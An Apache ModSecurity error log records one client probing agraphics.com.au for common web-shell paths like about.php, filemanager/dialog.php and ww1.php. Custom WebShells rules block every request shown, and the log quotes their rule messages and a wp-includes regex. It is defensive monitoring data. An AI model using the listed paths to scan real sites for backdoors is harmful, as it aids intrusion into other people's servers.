[Thu Jan 08 04:38:47.092334 2026] [:error] [pid 15264:tid 15312] [client 4.194.192.180:6984] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aV7EV4ov6_kvS0Owh-pkBAAAAE0"]
[Thu Jan 08 04:38:47.368937 2026] [:error] [pid 15264:tid 15314] [client 4.194.192.180:7081] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aV7EV4ov6_kvS0Owh-pkBwAAAE8"]
[Thu Jan 08 04:38:47.648182 2026] [:error] [pid 15358:tid 15370] [client 4.194.192.180:7015] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aV7EVyoRk9xWJ3toSBKmJgAAAMA"]
[Thu Jan 08 04:38:47.988003 2026] [:error] [pid 15264:tid 15306] [client 4.194.192.180:7139] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aV7EV4ov6_kvS0Owh-pkDAAAAEc"]
[Thu Jan 08 04:38:48.264841 2026] [:error] [pid 15264:tid 15317] [client 4.194.192.180:6930] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aV7EWIov6_kvS0Owh-pkDQAAAFI"]
[Thu Jan 08 04:38:48.448221 2026] [:error] [pid 15264:tid 15321] [client 4.194.192.180:26418] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aV7EWIov6_kvS0Owh-pkDgAAAFY"]
[Thu Jan 08 04:38:48.722837 2026] [:error] [pid 15265:tid 15349] [client 4.194.192.180:7165] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aV7EWKE6VBKhew2LTFSDRQAAAJc"]
[Thu Jan 08 04:38:48.984834 2026] [:error] [pid 15265:tid 15328] [client 4.194.192.180:26437] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aV7EWKE6VBKhew2LTFSDRwAAAII"]
[Thu Jan 08 04:38:49.182980 2026] [:error] [pid 15264:tid 15300] [client 4.194.192.180:7147] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aV7EWYov6_kvS0Owh-pkEQAAAEE"]
[Thu Jan 08 04:38:49.391121 2026] [:error] [pid 15265:tid 15327] [client 4.194.192.180:7133] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aV7EWaE6VBKhew2LTFSDSAAAAIE"]
[Thu Jan 08 04:38:49.680907 2026] [:error] [pid 15265:tid 15331] [client 4.194.192.180:6991] [client 4.194.192.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aV7EWaE6VBKhew2LTFSDSQAAAIU"]
[Thu Jan 08 04:38:49.945336 2026] [:error] [pid 15264:tid 15318] [client 4.194.192.180:26460] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "aV7EWYov6_kvS0Owh-pkEgAAAFM"]
[Thu Jan 08 04:38:50.151110 2026] [:error] [pid 15263:tid 15281] [client 4.194.192.180:7134] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "aV7EWtv61bxum7WG_e9BnAAAAAk"]
[Thu Jan 08 04:38:50.457094 2026] [:error] [pid 15264:tid 15322] [client 4.194.192.180:7062] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "aV7EWoov6_kvS0Owh-pkEwAAAFc"]
[Thu Jan 08 04:38:50.922931 2026] [:error] [pid 15263:tid 15274] [client 4.194.192.180:7006] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "aV7EWtv61bxum7WG_e9BnQAAAAI"]
[Thu Jan 08 04:38:51.596314 2026] [:error] [pid 15358:tid 15377] [client 4.194.192.180:7097] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aV7EWyoRk9xWJ3toSBKmKgAAAMc"]
[Thu Jan 08 04:38:51.955339 2026] [:error] [pid 15264:tid 15314] [client 4.194.192.180:7005] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aV7EW4ov6_kvS0Owh-pkFgAAAE8"]
[Thu Jan 08 04:38:52.304977 2026] [:error] [pid 15358:tid 15384] [client 4.194.192.180:6951] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aV7EXCoRk9xWJ3toSBKmLAAAAM4"]
[Thu Jan 08 04:38:52.511300 2026] [:error] [pid 15264:tid 15309] [client 4.194.192.180:6964] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aV7EXIov6_kvS0Owh-pkFwAAAEo"]
[Thu Jan 08 04:38:52.843985 2026] [:error] [pid 15263:tid 15276] [client 4.194.192.180:7075] [client 4.194.192.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aV7EXNv61bxum7WG_e9BoAAAAAQ"]
[Thu Jan 08 04:38:53.130201 2026] [:error] [pid 15264:tid 15320] [client 4.194.192.180:7102] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww1.php"] [unique_id "aV7EXYov6_kvS0Owh-pkGQAAAFU"]
[Thu Jan 08 04:38:53.502735 2026] [:error] [pid 15263:tid 15280] [client 4.194.192.180:6987] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww1.php"] [unique_id "aV7EXdv61bxum7WG_e9BowAAAAg"]
[Thu Jan 08 04:38:53.794111 2026] [:error] [pid 15263:tid 15296] [client 4.194.192.180:26408] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww1.php"] [unique_id "aV7EXdv61bxum7WG_e9BpAAAABg"]
[Thu Jan 08 04:38:54.387514 2026] [:error] [pid 15263:tid 15273] [client 4.194.192.180:7093] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww1.php"] [unique_id "aV7EXtv61bxum7WG_e9BpQAAAAE"]
[Thu Jan 08 04:38:54.654683 2026] [:error] [pid 15265:tid 15333] [client 4.194.192.180:7088] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aV7EXqE6VBKhew2LTFSDUQAAAIc"]
[Thu Jan 08 04:38:55.068280 2026] [:error] [pid 15358:tid 15390] [client 4.194.192.180:26406] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aV7EXyoRk9xWJ3toSBKmMwAAANQ"]
[Thu Jan 08 04:38:55.334483 2026] [:error] [pid 15358:tid 15383] [client 4.194.192.180:7074] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aV7EXyoRk9xWJ3toSBKmNAAAAM0"]
[Thu Jan 08 04:38:55.883951 2026] [:error] [pid 15358:tid 15389] [client 4.194.192.180:7078] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aV7EXyoRk9xWJ3toSBKmNwAAANM"]
[Thu Jan 08 04:38:56.247863 2026] [:error] [pid 15358:tid 15393] [client 4.194.192.180:7007] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aV7EYCoRk9xWJ3toSBKmOAAAANc"]
[Thu Jan 08 04:38:56.599445 2026] [:error] [pid 15264:tid 15318] [client 4.194.192.180:7020] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aV7EYIov6_kvS0Owh-pkHwAAAFM"]
[Thu Jan 08 04:38:56.855926 2026] [:error] [pid 15264:tid 15310] [client 4.194.192.180:26461] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aV7EYIov6_kvS0Owh-pkIgAAAEs"]
[Thu Jan 08 04:38:57.208829 2026] [:error] [pid 15263:tid 15277] [client 4.194.192.180:6983] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aV7EYdv61bxum7WG_e9BqQAAAAU"]
[Thu Jan 08 04:38:57.577710 2026] [:error] [pid 15264:tid 15319] [client 4.194.192.180:7094] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aV7EYYov6_kvS0Owh-pkIwAAAFQ"]
[Thu Jan 08 04:38:57.897471 2026] [:error] [pid 15264:tid 15314] [client 4.194.192.180:6978] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aV7EYYov6_kvS0Owh-pkJQAAAE8"]
[Thu Jan 08 04:38:58.424514 2026] [:error] [pid 15263:tid 15274] [client 4.194.192.180:7025] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aV7EYtv61bxum7WG_e9BqwAAAAI"]
[Thu Jan 08 04:38:58.633026 2026] [:error] [pid 15264:tid 15304] [client 4.194.192.180:26419] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aV7EYoov6_kvS0Owh-pkKQAAAEU"]
[Thu Jan 08 04:38:59.100365 2026] [:error] [pid 15264:tid 15323] [client 4.194.192.180:7132] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aV7EY4ov6_kvS0Owh-pkKwAAAFg"]
[Thu Jan 08 04:38:59.313895 2026] [:error] [pid 15264:tid 15306] [client 4.194.192.180:6925] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aV7EY4ov6_kvS0Owh-pkLAAAAEc"]
[Thu Jan 08 04:38:59.643098 2026] [:error] [pid 15263:tid 15292] [client 4.194.192.180:7087] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aV7EY9v61bxum7WG_e9BrwAAABQ"]
[Thu Jan 08 04:38:59.924530 2026] [:error] [pid 15265:tid 15341] [client 4.194.192.180:7023] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aV7EY6E6VBKhew2LTFSDVgAAAI8"]
[Thu Jan 08 04:39:00.177619 2026] [:error] [pid 15265:tid 15336] [client 4.194.192.180:7044] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/security.php"] [unique_id "aV7EZKE6VBKhew2LTFSDVwAAAIo"]
[Thu Jan 08 04:39:00.388667 2026] [:error] [pid 15263:tid 15286] [client 4.194.192.180:7164] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/security.php"] [unique_id "aV7EZNv61bxum7WG_e9BsAAAAA4"]
[Thu Jan 08 04:39:00.630089 2026] [:error] [pid 15264:tid 15307] [client 4.194.192.180:7101] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/security.php"] [unique_id "aV7EZIov6_kvS0Owh-pkMQAAAEg"]
[Thu Jan 08 04:39:01.064491 2026] [:error] [pid 15358:tid 15391] [client 4.194.192.180:6915] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/security.php"] [unique_id "aV7EZSoRk9xWJ3toSBKmQAAAANU"]
[Thu Jan 08 04:39:01.377522 2026] [:error] [pid 15358:tid 15385] [client 4.194.192.180:7060] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aV7EZSoRk9xWJ3toSBKmQgAAAM8"]
[Thu Jan 08 04:39:01.649012 2026] [:error] [pid 15265:tid 15329] [client 4.194.192.180:7103] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aV7EZaE6VBKhew2LTFSDWgAAAIM"]
[Thu Jan 08 04:39:01.935632 2026] [:error] [pid 15358:tid 15374] [client 4.194.192.180:6914] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aV7EZSoRk9xWJ3toSBKmRQAAAMQ"]
[Thu Jan 08 04:39:02.205854 2026] [:error] [pid 15358:tid 15373] [client 4.194.192.180:26376] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aV7EZioRk9xWJ3toSBKmRgAAAMM"]
[Thu Jan 08 04:39:02.452114 2026] [:error] [pid 15265:tid 15345] [client 4.194.192.180:6944] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aV7EZqE6VBKhew2LTFSDXAAAAJM"]
[Thu Jan 08 04:39:02.734443 2026] [:error] [pid 15265:tid 15342] [client 4.194.192.180:26421] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aV7EZqE6VBKhew2LTFSDXgAAAJA"]
[Thu Jan 08 04:39:02.992593 2026] [:error] [pid 15358:tid 15390] [client 4.194.192.180:6994] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aV7EZioRk9xWJ3toSBKmRwAAANQ"]
[Thu Jan 08 04:39:03.313807 2026] [:error] [pid 15263:tid 15278] [client 4.194.192.180:26456] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aV7EZ9v61bxum7WG_e9BsgAAAAY"]
[Thu Jan 08 04:39:03.641250 2026] [:error] [pid 15265:tid 15328] [client 4.194.192.180:6981] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aV7EZ6E6VBKhew2LTFSDYAAAAII"]
[Thu Jan 08 04:39:03.931384 2026] [:error] [pid 15265:tid 15346] [client 4.194.192.180:7090] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aV7EZ6E6VBKhew2LTFSDYgAAAJQ"]
[Thu Jan 08 04:39:04.183077 2026] [:error] [pid 15265:tid 15327] [client 4.194.192.180:26379] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aV7EaKE6VBKhew2LTFSDYwAAAIE"]
